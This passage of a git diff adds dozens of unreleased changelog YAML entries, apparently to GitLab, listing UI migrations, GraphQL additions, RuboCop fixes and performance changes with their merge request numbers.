+++ b/changelogs/unreleased/mc-feature-show-keep-button-for-locked-artifacts.yml
@@ -0,0 +1,5 @@
+---
+title: Show keep button for locked artifacts.
+merge_request: 40962
+author:
+type: changed
diff --git a/changelogs/unreleased/mf-remove-frontend-unit-test-report-case-sorting.yml b/changelogs/unreleased/mf-remove-frontend-unit-test-report-case-sorting.yml
new file mode 100644
index 00000000000..2f8fceceb9f
--- /dev/null
+++ b/changelogs/unreleased/mf-remove-frontend-unit-test-report-case-sorting.yml
@@ -0,0 +1,5 @@
+---
+title: Remove frontend unit test report test case sorting
+merge_request: 40885
+author:
+type: changed
diff --git a/changelogs/unreleased/migrate-environment_actions-button.yml b/changelogs/unreleased/migrate-environment_actions-button.yml
new file mode 100644
index 00000000000..5d151a33483
--- /dev/null
+++ b/changelogs/unreleased/migrate-environment_actions-button.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate Bootstrap button for environment_actions
+merge_request: 41844
+author:
+type: other
diff --git a/changelogs/unreleased/migrate-mr-deployment-widget-to-gl-dropdown.yml b/changelogs/unreleased/migrate-mr-deployment-widget-to-gl-dropdown.yml
new file mode 100644
index 00000000000..99d86e13e58
--- /dev/null
+++ b/changelogs/unreleased/migrate-mr-deployment-widget-to-gl-dropdown.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate MR Deployment Widget to GlDropdown
+merge_request: 42004
+author:
+type: changed
diff --git a/changelogs/unreleased/migration-monitoring-btn.yml b/changelogs/unreleased/migration-monitoring-btn.yml
new file mode 100644
index 00000000000..22d6fda23ff
--- /dev/null
+++ b/changelogs/unreleased/migration-monitoring-btn.yml
@@ -0,0 +1,5 @@
+---
+title: Migrating to gl-button in Environments table
+merge_request: 40444
+author:
+type: changed
diff --git a/changelogs/unreleased/mjang-devops-score-ui-text.yml b/changelogs/unreleased/mjang-devops-score-ui-text.yml
new file mode 100644
index 00000000000..20aa1d8eabe
--- /dev/null
+++ b/changelogs/unreleased/mjang-devops-score-ui-text.yml
@@ -0,0 +1,5 @@
+---
+title: Modify DevOps Score UI Text
+merge_request: 42256
+author:
+type: other
diff --git a/changelogs/unreleased/mk-enforce-not-null-external-diff-store-on-mr-diffs.yml b/changelogs/unreleased/mk-enforce-not-null-external-diff-store-on-mr-diffs.yml
new file mode 100644
index 00000000000..21f4d59dced
--- /dev/null
+++ b/changelogs/unreleased/mk-enforce-not-null-external-diff-store-on-mr-diffs.yml
@@ -0,0 +1,6 @@
+---
+title: Validate not null external_diff_store field on merge_request_diffs to maintain
+ data integrity
+merge_request: 42045
+author:
+type: added
diff --git a/changelogs/unreleased/mo-add-destroy-artifact-service.yml b/changelogs/unreleased/mo-add-destroy-artifact-service.yml
new file mode 100644
index 00000000000..224e3d57dac
--- /dev/null
+++ b/changelogs/unreleased/mo-add-destroy-artifact-service.yml
@@ -0,0 +1,5 @@
+---
+title: Add index for expire_at to ci_pipeline_artifacts
+merge_request: 39882
+author:
+type: added
diff --git a/changelogs/unreleased/mo-add-pipeline-artifacts-size-to-root-storage-statistics.yml b/changelogs/unreleased/mo-add-pipeline-artifacts-size-to-root-storage-statistics.yml
new file mode 100644
index 00000000000..71f65306bb9
--- /dev/null
+++ b/changelogs/unreleased/mo-add-pipeline-artifacts-size-to-root-storage-statistics.yml
@@ -0,0 +1,5 @@
+---
+title: Add pipeline_artifacts_size to root_storage_statistics
+merge_request: 40425
+author:
+type: added
diff --git a/changelogs/unreleased/mo-graphql-query-projects-by-ids.yml b/changelogs/unreleased/mo-graphql-query-projects-by-ids.yml
new file mode 100644
index 00000000000..423ede96227
--- /dev/null
+++ b/changelogs/unreleased/mo-graphql-query-projects-by-ids.yml
@@ -0,0 +1,5 @@
+---
+title: Query projects by ids with GraphQL
+merge_request: 42372
+author:
+type: added
diff --git a/changelogs/unreleased/mo-propagate-env-variables-codequality.yml b/changelogs/unreleased/mo-propagate-env-variables-codequality.yml
new file mode 100644
index 00000000000..3b000d03e6e
--- /dev/null
+++ b/changelogs/unreleased/mo-propagate-env-variables-codequality.yml
@@ -0,0 +1,5 @@
+---
+title: Propagate ENV variables to codequality template
+merge_request: 41318
+author:
+type: fixed
diff --git a/changelogs/unreleased/mo-remove-coverage-report-view-feature-flag.yml b/changelogs/unreleased/mo-remove-coverage-report-view-feature-flag.yml
new file mode 100644
index 00000000000..82fa3332d37
--- /dev/null
+++ b/changelogs/unreleased/mo-remove-coverage-report-view-feature-flag.yml
@@ -0,0 +1,5 @@
+---
+title: Enable coverage_report_view feature flag by default
+merge_request: 42094
+author: fh1ch
+type: performance
diff --git a/changelogs/unreleased/mo-sort-test-data-by-duration.yml b/changelogs/unreleased/mo-sort-test-data-by-duration.yml
new file mode 100644
index 00000000000..8f8d97e6562
--- /dev/null
+++ b/changelogs/unreleased/mo-sort-test-data-by-duration.yml
@@ -0,0 +1,5 @@
+---
+title: Sort TestCase data by status and execution_time
+merge_request: 40722
+author:
+type: changed
diff --git a/changelogs/unreleased/mobile-friendly-todos-list.yml b/changelogs/unreleased/mobile-friendly-todos-list.yml
new file mode 100644
index 00000000000..9276cc8a99a
--- /dev/null
+++ b/changelogs/unreleased/mobile-friendly-todos-list.yml
@@ -0,0 +1,5 @@
+---
+title: Widen TODO list only on mobile to be mobile-friendly
+merge_request: 41244
+author: Takuya Noguchi
+type: other
diff --git a/changelogs/unreleased/move-jira-dvcs-and-connect-app-to-core.yml b/changelogs/unreleased/move-jira-dvcs-and-connect-app-to-core.yml
new file mode 100644
index 00000000000..1e1e713c1ab
--- /dev/null
+++ b/changelogs/unreleased/move-jira-dvcs-and-connect-app-to-core.yml
@@ -0,0 +1,5 @@
+---
+title: Move Jira Development Panel integration to Core
+merge_request: 40485
+author:
+type: changed
diff --git a/changelogs/unreleased/multiline-if-modifier.yml b/changelogs/unreleased/multiline-if-modifier.yml
new file mode 100644
index 00000000000..d31430ecad7
--- /dev/null
+++ b/changelogs/unreleased/multiline-if-modifier.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Style/MultilineIfModifier cop
+merge_request: 41113
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/mw-mr-widget-header-replace-fa-icon.yml b/changelogs/unreleased/mw-mr-widget-header-replace-fa-icon.yml
new file mode 100644
index 00000000000..7bb30575805
--- /dev/null
+++ b/changelogs/unreleased/mw-mr-widget-header-replace-fa-icon.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-caret-down with SVG icon in MR widget
+merge_request: 39852
+author:
+type: changed
diff --git a/changelogs/unreleased/mw-notification-icons.yml b/changelogs/unreleased/mw-notification-icons.yml
new file mode 100644
index 00000000000..227da4ba831
--- /dev/null
+++ b/changelogs/unreleased/mw-notification-icons.yml
@@ -0,0 +1,5 @@
+---
+title: Replace notification icons with Gitlab SVGs
+merge_request: 40709
+author:
+type: changed
diff --git a/changelogs/unreleased/mw-rename-devops-score-to-devops-report.yml b/changelogs/unreleased/mw-rename-devops-score-to-devops-report.yml
new file mode 100644
index 00000000000..b470ced0329
--- /dev/null
+++ b/changelogs/unreleased/mw-rename-devops-score-to-devops-report.yml
@@ -0,0 +1,5 @@
+---
+title: Rename DevOps Score to DevOps Report
+merge_request: 39953
+author:
+type: changed
diff --git a/changelogs/unreleased/mw-replace-circle-icon.yml b/changelogs/unreleased/mw-replace-circle-icon.yml
new file mode 100644
index 00000000000..ae64a425aea
--- /dev/null
+++ b/changelogs/unreleased/mw-replace-circle-icon.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-circle icon instances with GitLab SVG check icon
+merge_request: 39745
+author:
+type: changed
diff --git a/changelogs/unreleased/mwaw232076-full-text-search-and-time-picker-is-not-be-available-for-manag.yml b/changelogs/unreleased/mwaw232076-full-text-search-and-time-picker-is-not-be-available-for-manag.yml
new file mode 100644
index 00000000000..9abe4928763
--- /dev/null
+++ b/changelogs/unreleased/mwaw232076-full-text-search-and-time-picker-is-not-be-available-for-manag.yml
@@ -0,0 +1,5 @@
+---
+title: Fix advanced filters in log explorer view for gitlab managed applications.
+merge_request: 37926
+author:
+type: fixed
diff --git a/changelogs/unreleased/nelbacha-conditional-package-scopes.yml b/changelogs/unreleased/nelbacha-conditional-package-scopes.yml
new file mode 100644
index 00000000000..2acfcd47df9
--- /dev/null
+++ b/changelogs/unreleased/nelbacha-conditional-package-scopes.yml
@@ -0,0 +1,5 @@
+---
+title: Conditionally render the packages scopes in deploy token settings
+merge_request: 35334
+author:
+type: fixed
diff --git a/changelogs/unreleased/nfriend-add-direct-asset-url-to-graphql.yml b/changelogs/unreleased/nfriend-add-direct-asset-url-to-graphql.yml
new file mode 100644
index 00000000000..86b5a2ea57c
--- /dev/null
+++ b/changelogs/unreleased/nfriend-add-direct-asset-url-to-graphql.yml
@@ -0,0 +1,5 @@
+---
+title: Add release direct asset link info to GraphQL endpoint
+merge_request: 41170
+author:
+type: added
diff --git a/changelogs/unreleased/nfriend-add-markdown-editor-shortcuts.yml b/changelogs/unreleased/nfriend-add-markdown-editor-shortcuts.yml
new file mode 100644
index 00000000000..bfe4ae7f32e
--- /dev/null
+++ b/changelogs/unreleased/nfriend-add-markdown-editor-shortcuts.yml
@@ -0,0 +1,5 @@
+---
+title: Add keyboard shortcuts for bold, italic, and link in markdown editors
+merge_request: 40328
+author:
+type: added
diff --git a/changelogs/unreleased/nfriend-add-upcoming-release-to-graphql.yml b/changelogs/unreleased/nfriend-add-upcoming-release-to-graphql.yml
new file mode 100644
index 00000000000..5b692ba6552
--- /dev/null
+++ b/changelogs/unreleased/nfriend-add-upcoming-release-to-graphql.yml
@@ -0,0 +1,5 @@
+---
+title: Add "upcomingRelease" field to GraphQL endpoint
+merge_request: 41183
+author:
+type: added
diff --git a/changelogs/unreleased/nfriend-dont-apply-ctrl-p-on-mac.yml b/changelogs/unreleased/nfriend-dont-apply-ctrl-p-on-mac.yml
new file mode 100644
index 00000000000..b09e8d5841f
--- /dev/null
+++ b/changelogs/unreleased/nfriend-dont-apply-ctrl-p-on-mac.yml
@@ -0,0 +1,5 @@
+---
+title: Stop applying Ctrl+P shortcut on MR page on Mac
+merge_request: 42240
+author:
+type: fixed
diff --git a/changelogs/unreleased/nfriend-only-apply-command-markdown-shortcuts-on-mac.yml b/changelogs/unreleased/nfriend-only-apply-command-markdown-shortcuts-on-mac.yml
new file mode 100644
index 00000000000..4a30d8d6da9
--- /dev/null
+++ b/changelogs/unreleased/nfriend-only-apply-command-markdown-shortcuts-on-mac.yml
@@ -0,0 +1,5 @@
+---
+title: Stop applying Ctrl keyboard shortcuts inside Markdown editors on Mac
+merge_request: 42239
+author:
+type: fixed
diff --git a/changelogs/unreleased/nfriend-prevent-enter-submission.yml b/changelogs/unreleased/nfriend-prevent-enter-submission.yml
new file mode 100644
index 00000000000..05db098c95a
--- /dev/null
+++ b/changelogs/unreleased/nfriend-prevent-enter-submission.yml
@@ -0,0 +1,5 @@
+---
+title: Prevent form submission in search boxes on New Release and Edit Release pages
+merge_request: 40011
+author:
+type: changed
diff --git a/changelogs/unreleased/nicolasdular-fix-invite-mail-tracking.yml b/changelogs/unreleased/nicolasdular-fix-invite-mail-tracking.yml
new file mode 100644
index 00000000000..919a3e02bdc
--- /dev/null
+++ b/changelogs/unreleased/nicolasdular-fix-invite-mail-tracking.yml
@@ -0,0 +1,5 @@
+---
+title: Fix snowplow tracking event error for new user invite page
+merge_request: 40628
+author:
+type: fixed
diff --git a/changelogs/unreleased/nicolasdular-introduce-welcome-page.yml b/changelogs/unreleased/nicolasdular-introduce-welcome-page.yml
new file mode 100644
index 00000000000..49c6aae05a3
--- /dev/null
+++ b/changelogs/unreleased/nicolasdular-introduce-welcome-page.yml
@@ -0,0 +1,5 @@
+---
+title: Show welcome page after sign up
+merge_request: 41662
+author:
+type: added
diff --git a/changelogs/unreleased/nicolasdular-remove-confirmation-email.yml b/changelogs/unreleased/nicolasdular-remove-confirmation-email.yml
new file mode 100644
index 00000000000..9d73d867ff5
--- /dev/null
+++ b/changelogs/unreleased/nicolasdular-remove-confirmation-email.yml
@@ -0,0 +1,5 @@
+---
+title: Remove email confirmation field on signup form
+merge_request: 41813
+author:
+type: changed
diff --git a/changelogs/unreleased/nicolasdular-remove-successful-signup-notice.yml b/changelogs/unreleased/nicolasdular-remove-successful-signup-notice.yml
new file mode 100644
index 00000000000..c7653a749a6
--- /dev/null
+++ b/changelogs/unreleased/nicolasdular-remove-successful-signup-notice.yml
@@ -0,0 +1,5 @@
+---
+title: Remove successful signup flash message
+merge_request: 42512
+author:
+type: changed
diff --git a/changelogs/unreleased/non-deter-cop.yml b/changelogs/unreleased/non-deter-cop.yml
new file mode 100644
index 00000000000..18cd89ccceb
--- /dev/null
+++ b/changelogs/unreleased/non-deter-cop.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Lint/NonDeterministicRequireOrder cop
+merge_request: 41098
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/ntepluhina-immer.yml b/changelogs/unreleased/ntepluhina-immer.yml
new file mode 100644
index 00000000000..b716743ae2f
--- /dev/null
+++ b/changelogs/unreleased/ntepluhina-immer.yml
@@ -0,0 +1,5 @@
+---
+title: Create a POC for 'immer' library
+merge_request: 39738
+author:
+type: other
diff --git a/changelogs/unreleased/ntepluhina-refactor-design-management-to-gitlab-ui-1.yml b/changelogs/unreleased/ntepluhina-refactor-design-management-to-gitlab-ui-1.yml
new file mode 100644
index 00000000000..c97634d4992
--- /dev/null
+++ b/changelogs/unreleased/ntepluhina-refactor-design-management-to-gitlab-ui-1.yml
@@ -0,0 +1,5 @@
+---
+title: Update design discussions to use GitLab UI components
+merge_request: 41686
+author:
+type: other
diff --git a/changelogs/unreleased/on-demand-dast-validation-model-layer-245208.yml b/changelogs/unreleased/on-demand-dast-validation-model-layer-245208.yml
new file mode 100644
index 00000000000..c889826db23
--- /dev/null
+++ b/changelogs/unreleased/on-demand-dast-validation-model-layer-245208.yml
@@ -0,0 +1,5 @@
+---
+title: DAST Site validation - Model Layer
+merge_request: 41639
+author:
+type: added
diff --git a/changelogs/unreleased/optimized-issuable-label-search-pt1.yml b/changelogs/unreleased/optimized-issuable-label-search-pt1.yml
new file mode 100644
index 00000000000..1c0943a9945
--- /dev/null
+++ b/changelogs/unreleased/optimized-issuable-label-search-pt1.yml
@@ -0,0 +1,5 @@
+---
+title: Add indexes to `label_links` database table
+merge_request: 34503
+author:
+type: other
diff --git a/changelogs/unreleased/pages-version-1-23-0.yml b/changelogs/unreleased/pages-version-1-23-0.yml
new file mode 100644
index 00000000000..acf94774a61
--- /dev/null
+++ b/changelogs/unreleased/pages-version-1-23-0.yml
@@ -0,0 +1,5 @@
+---
+title: Upgrade pages to v1.23.0
+merge_request: 40915
+author:
+type: added
diff --git a/changelogs/unreleased/parent-child-pipelines-navigation.yml b/changelogs/unreleased/parent-child-pipelines-navigation.yml
new file mode 100644
index 00000000000..6c4a0fa3a68
--- /dev/null
+++ b/changelogs/unreleased/parent-child-pipelines-navigation.yml
@@ -0,0 +1,5 @@
+---
+title: Improve ability to navigate to child pipelines
+merge_request: 40650
+author:
+type: added
diff --git a/changelogs/unreleased/perl-backref-cop.yml b/changelogs/unreleased/perl-backref-cop.yml
new file mode 100644
index 00000000000..d82bec75293
--- /dev/null
+++ b/changelogs/unreleased/perl-backref-cop.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Style/PerlBackrefs cop
+merge_request: 41246
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/ph-212785-fixRepositoryBrowserBranchWithParentheses.yml b/changelogs/unreleased/ph-212785-fixRepositoryBrowserBranchWithParentheses.yml
new file mode 100644
index 00000000000..4ec1bfa62ef
--- /dev/null
+++ b/changelogs/unreleased/ph-212785-fixRepositoryBrowserBranchWithParentheses.yml
@@ -0,0 +1,5 @@
+---
+title: Fixed repository browser not working with parentheses in branch name
+merge_request: 41591
+author:
+type: fixed
diff --git a/changelogs/unreleased/ph-225410-commentHasWrongAuthorName.yml b/changelogs/unreleased/ph-225410-commentHasWrongAuthorName.yml
new file mode 100644
index 00000000000..2d166421951
--- /dev/null
+++ b/changelogs/unreleased/ph-225410-commentHasWrongAuthorName.yml
@@ -0,0 +1,5 @@
+---
+title: Fixed note having wrong author after deleting
+merge_request: 41747
+author:
+type: fixed
diff --git a/changelogs/unreleased/ph-225922-fixedImageDiscussionsNotShowingOnChangesTab.yml b/changelogs/unreleased/ph-225922-fixedImageDiscussionsNotShowingOnChangesTab.yml
new file mode 100644
index 00000000000..fa55a99106f
--- /dev/null
+++ b/changelogs/unreleased/ph-225922-fixedImageDiscussionsNotShowingOnChangesTab.yml
@@ -0,0 +1,5 @@
+---
+title: Fixed image comments not showing on the changes tab
+merge_request: 41683
+author:
+type: fixed
diff --git a/changelogs/unreleased/ph-232478-updateWidgetIntervalForClosedMergeRequests.yml b/changelogs/unreleased/ph-232478-updateWidgetIntervalForClosedMergeRequests.yml
new file mode 100644
index 00000000000..dbed1b6c993
--- /dev/null
+++ b/changelogs/unreleased/ph-232478-updateWidgetIntervalForClosedMergeRequests.yml
@@ -0,0 +1,5 @@
+---
+title: Increase widget polling for closed and merged merge requests
+merge_request: 42458
+author:
+type: changed
diff --git a/changelogs/unreleased/ph-240235-moveReviewCSS.yml b/changelogs/unreleased/ph-240235-moveReviewCSS.yml
new file mode 100644
index 00000000000..0fca2e71a85
--- /dev/null
+++ b/changelogs/unreleased/ph-240235-moveReviewCSS.yml
@@ -0,0 +1,5 @@
+---
+title: Fixed merge request review styles not loading in FOSS
+merge_request: 40479
+author:
+type: fixed
diff --git a/changelogs/unreleased/pherlihy-master-patch-95213.yml b/changelogs/unreleased/pherlihy-master-patch-95213.yml
new file mode 100644
index 00000000000..8d129388d47
--- /dev/null
+++ b/changelogs/unreleased/pherlihy-master-patch-95213.yml
@@ -0,0 +1,5 @@
+---
+title: Change merge request updated_at when assignees are changed
+merge_request: 41030
+author: Patrick Herlihy
+type: fixed
diff --git a/changelogs/unreleased/pipeline-icon-center.yml b/changelogs/unreleased/pipeline-icon-center.yml
new file mode 100644
index 00000000000..51234aea053
--- /dev/null
+++ b/changelogs/unreleased/pipeline-icon-center.yml
@@ -0,0 +1,5 @@
+---
+title: Update pipeline button SVG to be center aligned
+merge_request: 41066
+author:
+type: fixed
diff --git a/changelogs/unreleased/pl-add-incident-label-for-incidents.yml b/changelogs/unreleased/pl-add-incident-label-for-incidents.yml
new file mode 100644
index 00000000000..c8998570a54
--- /dev/null
+++ b/changelogs/unreleased/pl-add-incident-label-for-incidents.yml
@@ -0,0 +1,5 @@
+---
+title: Add incident label for manually created incident issues
+merge_request: 41598
+author:
+type: fixed
diff --git a/changelogs/unreleased/pl-perf-backtrace-silencer.yml b/changelogs/unreleased/pl-perf-backtrace-silencer.yml
new file mode 100644
index 00000000000..0968a0b0c38
--- /dev/null
+++ b/changelogs/unreleased/pl-perf-backtrace-silencer.yml
@@ -0,0 +1,5 @@
+---
+title: Improve performance of Rails backtrace cleaner configuration
+merge_request: 40182
+author:
+type: performance
diff --git a/changelogs/unreleased/pl-perf-bt-cleaner-regexp-match.yml b/changelogs/unreleased/pl-perf-bt-cleaner-regexp-match.yml
new file mode 100644
index 00000000000..f4bb781a9d9
--- /dev/null
+++ b/changelogs/unreleased/pl-perf-bt-cleaner-regexp-match.yml
@@ -0,0 +1,5 @@
+---
+title: Improve performance of Gitlab::BacktraceCleaner
+merge_request: 40180
+author:
+type: performance
diff --git a/changelogs/unreleased/private-group-btn.yml b/changelogs/unreleased/private-group-btn.yml
new file mode 100644
index 00000000000..e74bc578f7d
--- /dev/null
+++ b/changelogs/unreleased/private-group-btn.yml
@@ -0,0 +1,5 @@
+---
+title: Migration of old icon button to component button in Approval Rules (private groups)
+merge_request: 39769
+author:
+type: changed
diff --git a/changelogs/unreleased/project_member_list.yml b/changelogs/unreleased/project_member_list.yml
new file mode 100644
index 00000000000..f448fdf092b
--- /dev/null
+++ b/changelogs/unreleased/project_member_list.yml
@@ -0,0 +1,5 @@
+---
+title: Include also inherited project members in GraphQL API
+merge_request: 39444
+author:
+type: fixed
diff --git a/changelogs/unreleased/psi-milestone-header-fix.yml b/changelogs/unreleased/psi-milestone-header-fix.yml
new file mode 100644
index 00000000000..59c250df5a6
--- /dev/null
+++ b/changelogs/unreleased/psi-milestone-header-fix.yml
@@ -0,0 +1,5 @@
+---
+title: Remove excess space above milestone titles
+merge_request: 41749
+author:
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-13.yml b/changelogs/unreleased/rails-save-bang-13.yml
new file mode 100644
index 00000000000..16c61a9201b
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-13.yml
@@ -0,0 +1,5 @@
+---
+title: Refactor spec/support/shared_examples/services/* and ee/spec/support/shared_examples/services/* to fix Rails/SaveBang Cop
+merge_request: 39538
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-14.yml b/changelogs/unreleased/rails-save-bang-14.yml
new file mode 100644
index 00000000000..b8cc9ba3d54
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-14.yml
@@ -0,0 +1,5 @@
+---
+title: Refactor ee/spec/support/shared_examples/requests/* and spec/support/shared_examples/requests/* to fix Rails/SaveBang Cop
+merge_request: 40185
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-16.yml b/changelogs/unreleased/rails-save-bang-16.yml
new file mode 100644
index 00000000000..ebeb0ee8a5f
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-16.yml
@@ -0,0 +1,5 @@
+---
+title: Refactor ee/spec/support/shared_examples/models/* and spec/support/shared_examples/models/* to fix Rails/SaveBang Cop
+merge_request: 40695
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/rails-save-bang-17.yml b/changelogs/unreleased/rails-save-bang-17.yml
new file mode 100644
index 00000000000..f77cb7beae1
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-17.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang offenses for spec/serializers/*
+merge_request: 41309
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-18.yml b/changelogs/unreleased/rails-save-bang-18.yml
new file mode 100644
index 00000000000..6b375b3f132
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-18.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang offenses for spec/services/issues/*
+merge_request: 41312
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-19.yml b/changelogs/unreleased/rails-save-bang-19.yml
new file mode 100644
index 00000000000..b7cdd00c88d
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-19.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang offenses for */spec/services/merge_requests/*
+merge_request: 41315
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/rails-save-bang-20.yml b/changelogs/unreleased/rails-save-bang-20.yml
new file mode 100644
index 00000000000..04d9b6223d7
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-20.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang offenses for */spec/services/ci/*
+merge_request: 41317
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/rails-save-bang-21.yml b/changelogs/unreleased/rails-save-bang-21.yml
new file mode 100644
index 00000000000..4bf6d0c4520
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-21.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang offenses for *spec/models/project_services*
+merge_request: 41320
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-22.yml b/changelogs/unreleased/rails-save-bang-22.yml
new file mode 100644
index 00000000000..34cba15c115
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-22.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang offenses for spec/requests/api/pages/*
+merge_request: 41324
+author:
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-23.yml b/changelogs/unreleased/rails-save-bang-23.yml
new file mode 100644
index 00000000000..c46b361b8d0
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-23.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang offenses for spec/models/cycle_analytics/*
+merge_request: 41326
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-24.yml b/changelogs/unreleased/rails-save-bang-24.yml
new file mode 100644
index 00000000000..e30d34b4da8
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-24.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang offenses for */spec/models/ci/*
+merge_request: 41329
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/rails-save-bang-25.yml b/changelogs/unreleased/rails-save-bang-25.yml
new file mode 100644
index 00000000000..021fabf7ffa
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-25.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang offenses for ee/spec/services/projects/*
+merge_request: 41332
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-26.yml b/changelogs/unreleased/rails-save-bang-26.yml
new file mode 100644
index 00000000000..c26fe43c3fd
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-26.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang offenses for ee/spec/lib/gitlab/geo/*
+merge_request: 41338
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-27.yml b/changelogs/unreleased/rails-save-bang-27.yml
new file mode 100644
index 00000000000..2f91c28322d
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-27.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang offenses for ee/spec/lib/ee/gitlab/background_migration/*
+merge_request: 41357
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-28.yml b/changelogs/unreleased/rails-save-bang-28.yml
new file mode 100644
index 00000000000..c39e47951aa
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-28.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang offenses for spec/requests/api/*
+merge_request: 41362
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/rails-save-bang-29.yml b/changelogs/unreleased/rails-save-bang-29.yml
new file mode 100644
index 00000000000..f3735f4a473
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-29.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang offenses for 3 files
+merge_request: 41392
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/rails-save-bang-30.yml b/changelogs/unreleased/rails-save-bang-30.yml
new file mode 100644
index 00000000000..7c2fdd3cdfb
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-30.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang offenses for 3 files
+merge_request: 41394
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/rails-save-bang-31.yml b/changelogs/unreleased/rails-save-bang-31.yml
new file mode 100644
index 00000000000..87cf48447a1
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-31.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang offenses for 3 files
+merge_request: 41395
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/rails-save-bang-32.yml b/changelogs/unreleased/rails-save-bang-32.yml
new file mode 100644
index 00000000000..972920b29cc
--- /dev/null
+++ b/changelogs/unreleased/rails-save-bang-32.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang offenses for 3 files
+merge_request: 41398
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/raise-exceptio-cop.yml b/changelogs/unreleased/raise-exceptio-cop.yml
new file mode 100644
index 00000000000..abac61bf942
--- /dev/null
+++ b/changelogs/unreleased/raise-exceptio-cop.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Lint/RaiseException cop
+merge_request: 41099
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/reduce-redis-storage-session-lookup.yml b/changelogs/unreleased/reduce-redis-storage-session-lookup.yml
new file mode 100644
index 00000000000..9380def7b34
--- /dev/null
+++ b/changelogs/unreleased/reduce-redis-storage-session-lookup.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce storage requirements for keeping track of pre-logged-in sessions
+merge_request: 40336
+author:
+type: performance
diff --git a/changelogs/unreleased/redundant-sort-cop.yml b/changelogs/unreleased/redundant-sort-cop.yml
new file mode 100644
index 00000000000..594dfc8d232
--- /dev/null
+++ b/changelogs/unreleased/redundant-sort-cop.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Style/RedundantSort cop
+merge_request: 41108
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/refactor-deployment-templates.yml b/changelogs/unreleased/refactor-deployment-templates.yml
new file mode 100644
index 00000000000..33a5fb8930e
--- /dev/null
+++ b/changelogs/unreleased/refactor-deployment-templates.yml
@@ -0,0 +1,5 @@
+---
+title: Move Jobs/Deploy/ECS.gitlab-ci.yml to the top level of AutoDevOps template
+merge_request: 41096
+author:
+type: fixed
diff --git a/changelogs/unreleased/refactor-pipeline-warnings-ux.yml b/changelogs/unreleased/refactor-pipeline-warnings-ux.yml
new file mode 100644
index 00000000000..65fef03e2b9
--- /dev/null
+++ b/changelogs/unreleased/refactor-pipeline-warnings-ux.yml
@@ -0,0 +1,5 @@
+---
+title: Group pipeline warnings and make them collapsible
+merge_request: 39634
+author:
+type: changed
